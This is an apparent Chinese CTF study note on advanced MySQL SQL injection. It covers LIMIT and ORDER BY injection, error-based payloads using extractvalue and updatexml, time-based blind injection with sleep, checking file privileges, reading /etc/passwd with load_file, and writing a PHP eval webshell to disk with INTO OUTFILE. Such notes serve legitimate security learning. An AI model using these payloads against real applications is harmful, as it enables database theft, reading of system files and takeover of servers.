0%

CTF-SQL注入进阶

CTF-SQL注入进阶

limit注入

1
实际程序中,常需要查询某些符合条件的具体数量的记录。此时mysql中提供limit帮助用户返回数据表中的多条记录。如:网站无法在一个页面中显示所有信息条目,此时采用分页显示。

limit语法,前面文章介绍过。

1
2
3
4
5
6
limit 从起始位置,取多少条记录。起始位置为0


select * from users limit 1 offset 0
读取一条记录,从第一条开始。

MYSQL LIMIT 注入原理

适用于mysql5.6版本一下。

通过联合注入,其实就跟联合注入没什么区别,但是加上order by就不一样了。

1
select * from users limit 0,1 union select 1,2,3

sql修改成:

1
2
3
select * from users order by id limit 0,1;

此时无法使用union联合查询注入,由于order by 后无法使用union,无法利用联合注入。

报错注入

原sql语句:

1
select * from users order by id limit {$id},1;

payload

1
id=0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

order by

语法功能

1
2
对结果进行排序操作,mysql提供了order by 进行查询结果的排序,
默认升序,添加降序desc。

一些相关操作

1
2
3
4
5
可使用字段名排序
select * from users order by username;
使用数字进行排序
selcet * from users order by 2;
两者查询结果相同

可通过order by 盲注出密码。

1
2
3
4
5
6
7
8
密码为abc


username=admin' union select 1,2,'a' order by 3#&password=123
由于a小于abc,a所在行数据上移动,用户名报错。
b大于abc,密码报错。
admin行数据上移动,得到正确的admin,密码报错。

order by 后注入

1
2
3
selcet * from users order by id
selcet * from users order by 1
两者返回结果相同

通过报错猜字段名、字段数

1
2
username(字段名)
6(列数)

sql语句:

1
select * from users order by {$order}

注入点利用方式

发现order by型,通过输入不同字段名,排序发生改变。

报错注入

1
order=updatexml(1,concat(0x7c,database()),1)

时间盲注

1
order=if(length(database())>8,sleep(1),1)

sql-读写文件

1
可对本地文件系统进行读写操作。

若flag不存在数据库中,此时考虑sql注入的读写文件操作。

MYSQL配置读写权限

1
2
3
4
5
配置权限针对具体用户,查询当前用户

select current_user();
返回user=root
host=localhost

1、查看当前用户文件操作权限(File_priv)

1
select File_priv from mysql.user where user='root' and host='localhost';

返回Y,表示具有对本地文件系统的读写操作。

2、数据库导入导出权限(secure_file_priv)

查看(secure_file_priv)变量

1
show VARIABLES like "secure_file_priv";

当(secure_file_priv)为空时,表示无限制,若为NULL,表示没有任何权限。

如果(secure_file_priv)为一个路径,表示只有对该路径的导入导出权限。

读文件

1
select load_file("/etc/passwd")	

写入一句话木马

1
select "<?php @eval($_POST[1]);?>" into outfile '相关路径'

补充:

当concat函数被过滤时,可使用make_set函数

1
?id=1 and (select extractvalue(2,make_set(3,0x7e,(select * from flag))))--+
-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道